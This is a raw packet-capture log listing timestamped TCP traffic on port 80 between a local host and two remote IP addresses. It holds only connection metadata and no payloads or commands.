Nov 23, 2024 11:22:23.320135117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.320388079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.320449114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.321069956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.321204901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.321647882 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.322005987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.322065115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.322264910 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.322938919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.323159933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.323589087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.323925972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.324073076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.324168921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.324820042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.324939966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.325031042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.325757980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.325866938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.325906992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.326683044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.326775074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.326889038 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.327658892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.327745914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.327797890 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.328572035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.328731060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.329036951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.329510927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.329619884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.329694033 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.330432892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.330578089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.330667973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.331377029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.331459045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.331631899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.332324982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.332487106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.332542896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.333256960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.333380938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.333462954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.334189892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.334307909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.334377050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.335150957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.335294008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.335382938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.336090088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.336287022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.336337090 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.336509943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.337013006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.337143898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.337599993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.337927103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.338093042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.338140011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.338896990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.339103937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.339152098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.339832067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.339920998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.340087891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.340770960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.340922117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.341161013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.341728926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.341835976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.341953039 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.342654943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.342781067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.342843056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.343596935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.343741894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.343792915 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.344508886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.344540119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.344582081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.345451117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.345566034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.345698118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.346431971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.346685886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.346828938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.347356081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.347621918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.347696066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.348269939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.348360062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.348442078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.349230051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.349309921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.349348068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.350138903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.350220919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.350327015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.351070881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.351216078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.351349115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.351464987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.352127075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.352346897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.352394104 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.352946043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.368864059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.369002104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.369015932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.369242907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.370922089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.370975971 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.371047974 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.374743938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.375036001 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.375205994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.375266075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.379125118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.379173994 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.379226923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.379271984 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.383498907 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.383624077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.383635998 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.383671999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.387166977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.387271881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.387398958 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.391103029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.391155005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.391181946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.391227007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.395065069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.395169020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.395200968 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.395286083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.399018049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.399091959 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.399118900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.399233103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.402925014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.402987003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.403040886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.403132915 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.406879902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.406932116 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.407157898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.407206059 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.410845041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.410898924 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.410959005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.411031008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.414774895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.414834023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.414860010 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.415003061 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.418740988 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.418791056 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.418860912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.418926954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.422637939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.422732115 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.422768116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.422892094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.426672935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.426749945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.428433895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.430766106 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.430896997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.430906057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.430972099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.434488058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.434534073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.434597015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.434657097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.438402891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.438457966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.438520908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.438585997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.442323923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.442370892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.442478895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.442524910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.446296930 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.446352005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.446377993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.446558952 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.450202942 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.450283051 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.450347900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.450393915 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.454150915 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.454200983 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.454236984 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.454282999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.458070040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.458117008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.458149910 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.458200932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.462109089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.462153912 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.462217093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.462259054 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.465970993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.466022015 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.466051102 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.466094971 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.469959974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.469974041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.470010996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.514698982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.514730930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.514790058 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.514874935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.515024900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.515074968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.515424967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.515553951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.515598059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.516359091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.516463995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.517321110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.517477036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.517522097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.518227100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.518383980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.518434048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.519164085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.519273996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.519328117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.520106077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.520211935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.520258904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.521035910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.521150112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.521198988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.521965981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.522012949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.522068024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.522974014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.523106098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.523153067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.523849010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.523962975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.524025917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.524914026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.524995089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.525120020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.525724888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.525847912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.525969028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.526674032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.526884079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.527589083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.527657986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.527707100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.528561115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.528651953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.529479980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.529551983 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.529584885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.530425072 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.530426979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.530596018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.530698061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.531452894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.531590939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.531676054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.532274961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.532427073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.532475948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.533256054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.533509016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.533565998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.534159899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.534235954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.534288883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.535084963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.535135984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.535185099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.536026955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.536130905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.536231995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.537040949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.537148952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.537192106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.537954092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.538037062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.538089991 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.538831949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.538948059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.539834023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.539880037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.539904118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.540448904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.540718079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.540833950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.541640997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.541804075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.541866064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.542614937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.542694092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.542764902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.543540955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.543690920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.543813944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.544459105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.544536114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.544583082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.545397043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.545597076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.545660019 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.546358109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.546484947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.546566010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.547441959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.547480106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.547528982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.548247099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.548386097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.548466921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.549149990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.549330950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.549393892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.550142050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.550241947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.550286055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.551132917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.551206112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.552020073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.552045107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.552124023 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.552526951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.552983999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.553052902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.553121090 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.553883076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.554004908 CET	80	49786	34.116.198.130	192.168.2.4
